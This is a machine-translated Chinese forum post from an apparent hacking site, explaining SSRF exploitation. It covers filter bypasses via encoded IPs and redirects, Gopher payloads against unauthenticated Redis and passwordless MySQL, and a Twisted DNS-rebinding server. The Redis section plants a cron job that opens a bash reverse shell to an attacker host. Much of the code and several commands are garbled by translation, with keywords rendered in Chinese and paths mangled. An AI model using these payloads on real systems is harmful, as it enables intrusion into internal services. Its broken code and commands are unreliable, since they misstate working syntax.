H

SSRF 漏洞相关

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

SSRF 漏洞相关​

1 定义与原理​

1.1 定义​

SSRF(服务器端请求伪造),这是一个安全漏洞,构造了攻击者的请求并启动服务器的请求。一般而言,SSRF攻击的目标是无法从外部网络访问的内部系统。
SSRF形成的原因主要是因为服务器提供了从其他服务器应用程序获取数据的功能,并且不会过滤或限制目标地址。例如,从指定的URL地址获取网页文本内容,加载指定地址的图片,下载等。
20210111165741.png-water_print

1.2 特点​

攻击者无法直接访问目标机器的服务2
目标机1可以访问目标机器2的服务2
目标机1揭示了访问目标机器2的方式,攻击者可以利用这一方法
20210111170123.png-water_print

1.3 检测方法​

因为SSRF漏洞是一个安全漏洞,允许服务器发送请求,因此可以用于分析服务器是否发送发送的请求以确定是否存在SSRF漏洞。
在页面源代码中找到访问的资源地址。如果资源地址类型为www.baidu.com/xxx.php?image=(address)可能会有SSRF漏洞。

1.4 PHP 中的相关函数​

file_get_contents()
fsocckopen()
curl_exec()

1.4 危害​

您可以扫描外部网络的端口,服务器所在的Intranet以及以获取某些服务的横幅信息的本地区域。
在Intranet或本地运行的攻击应用程序(例如溢出)
Intranet Web应用程序的指纹打印,并通过访问默认文件来实现它
在内部和外部网络上攻击Web应用程序主要涉及使用获得参数(例如Struts2脆弱性开发,SQL注入等)来实现的攻击。
使用文件协议读取本地文件

2 绕过方法​

2.1 IP 绕过​

添加端口
简短的URL,但默认情况下,未启用curl命令。跟随302跳
域名xip.io,127.0.0.1.xip.io指向任何IP
IP限制旁路
127.0.0.1
0177.0.0.1八分之一
0x7f.0.0.1十六进制
十六进制定界符http://0x7f000001
卸下小数http://2130706433的分离器

2.2 其它 Tips​

与dict: //file: //gopher: //
使用www.baidu.com用户名来检测您是否有权访问192.168.0.1的网站
短连接(301跳,您需要能够访问外部网络)

2.3 Gopher 协议​

Gopher是Internet上使用的分布式文件收集和采集网络协议
Gopher协议支持发出GET和发布请求:您可以首先拦截GET请求包和POST请求软件包,然后构建符合Gopher协议的请求。 Gopher协议是SSLF利用率中最强大的协议之一(通常称为通用协议)。

2.3.1 Gopher 控制 Redis 反弹 shell​

前提
Redis未经授权
雷迪斯对克朗有书面许可
20210111224322.png-water_print

通过 socat 抓流量脚本:
1
2
3
4
echo -e'\ n \ n */1 * * * * * bash -i/dev/dev/tcp/ip/port 0 1 \ n \ n \ n'| redis -cli -h $ 1 -p $ 2 $ 2 $ 2 -X set 1
redis -cli -h $ 1 -p $ 2 config set dir/var/var/spool/cron
redis -cli -h $ 1 -p $ 2配置集dbfilename root
REDIS -CLI -H $ 1 -P $ 2退出
执行:/shell.sh 127.0.0.1 4444
流量转发1
SOCAT -V TCP-LISTEN:4444,FORK TCP-CONNECT:IP3:6379
20210111225155.png-water_print

交通转换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#编码: UTF-8
导入系统
Exp=''
以F:的开放(sys.argv [1])
对于F.Readlines():中的行
如果在'+':中[0]
继续
#确定第二和第三字符串是否为\ r
elif line [-3:-1]==r'\ r':
#如果该行只有\ r,请替换\ r,用%0A%0D%0A
如果len(line)==3:
EXP=EXP +'%0A%0D%0A'
其他:
line=line.replace(r'\ r','%0d%0a')
#删除最后一行休息
line=line.replace('\ n','')
EXP=EXP +线
#确定它是否是空白行,用%0a替换空白行
elif line=='\ x0a':
EXP=EXP +'%0A'
其他:
line=line.replace('\ n','')
EXP=EXP +线
打印经验

2.3.2 Gopher 对 Mysql 的利用​

先决条件:
SSRF脆弱性存在
mysql没有密码
Gopher协议转换
1
2
3
4
5
6
gopher: //127.0.0.1:3306/_
+ URL编码登录请求
+数据包长度(Wireshark可以在捕获数据包时直接看到数据包长度)
+%00%00%00%03
+查询语句(URL编码)
+%01%00%00%00%01

2.3.3 相关工具​

20210112101832.png-water_print

20210112101956.png-water_print

2.4 DNS 重绑定攻击​

2.4.1 原理​

一般Web应用程序防御SSRF的过程如下:
20210112101758.png-water_print

获取输入URL并从URL中提取主机
在主机上执行DNS分辨率并获得已解决的IP
检测IP是否合法,例如它是否是私人IP等。
如果将IP检测到合法,则将数据包输入卷曲阶段
据观察,在此过程中,总共执行了DNS分辨率:第一个是在URL主机上执行DNS分辨率,第二个是在使用Curl以发送数据包时执行分辨率。这两个DNS分辨率之间存在时间差异,我们可以使用此时间差绕过它。
与时间差相对应的DNS中的机制是TTL。 TTL代表了DNS中域名和IP结合关系的最长时间在DNS上幸存。也就是说,在请求域名与IP之间的关系之后,请求方将缓存该关系,并且缓存在TTL上维护。缓存到期后将删除。目前,如果您重新访问由域名指定的IP,则将重新建立匹配关系和缓存。
在上面的过程中,如果我们可以在第二个DNS分辨率期间更改与URL相对应的IP,则如果我们在TTL之后重新访问此URL,并且高速缓存到期后,我们可以获得替换的IP。如果我们将IP首次设置为合法IP,则可以绕过主机合法性检查;如果我们将IP第二次设置为Intranet IP,则可以实现SSRF访问Intranet的目的。
总结
DNS重新启动攻击的原理是:使用两次解决相同域名的服务器之间的短差距,并替换域名背后的IP,以实现通过WAF突破相同的原始策略或SSRF的目的。

2.4.2 实现​

一些 DNS Rebinding 平台 手动实现您需要首先添加NS记录和A记录:
记录类型
主机记录
记录值
NS
测试
ns.geekby.xyz
一个
NS
39.96.14.41
NS记录代表域名test.geekby.xyz此子域指定为域名服务器NS.Geekby.xyz,然后A记录代表IP地址39.96.14.41的NS.Geekby.xyz的位置。
在这里,DNS服务器是使用Python扭曲库中的名称模块构建的,并且代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
从扭曲。Internet进口反应堆,延期
来自twist.names导入客户端,DNS,错误,服务器
记录={}
类DynamicResolver(对象):
def _dodyNemicresponse(self,Query):
name=query.name.name
如果名称未记录或记录[名称] 1:
ip='127.0.0.1'
其他:
ip='1.2.3.4'
如果名称不在record:中
记录[名称]=0
记录[名称]+=1
打印名称+'==='+ip
答案=dns.rrheader(
名称=名称,
type=dns.a,
cls=dns.in,
ttl=0,
有效载荷=dns.record_a(地址=b'%s'%ip,ttl=0)

答案=[答案]
权威=[]
附加=[]
返回答案,权威,附加
def查询(self,query,timeout=none):
返回defer.ucceed(self._dodynamicresponse(QUERY))
def main():
factory=server.dnsserverfactory(
客户端=[dynamicResolver(),client.resolver(resolv='/etc/resolv.conf')]

协议=dns.dnsdatagramprotocol(控制器=工厂)
反应器。listenudp(53,协议)
反应器。run()
如果name=='__ -Main __':
提高SystemExit(main())

2.4.3 防御方法​

通过控制DNS查询请求之间的间隔以低于TTL值,确保两个查询的结果保持一致。
Java应用程序的默认TTL为10,此默认配置将导致DNS重新启动失败旁路。
 
后退
顶部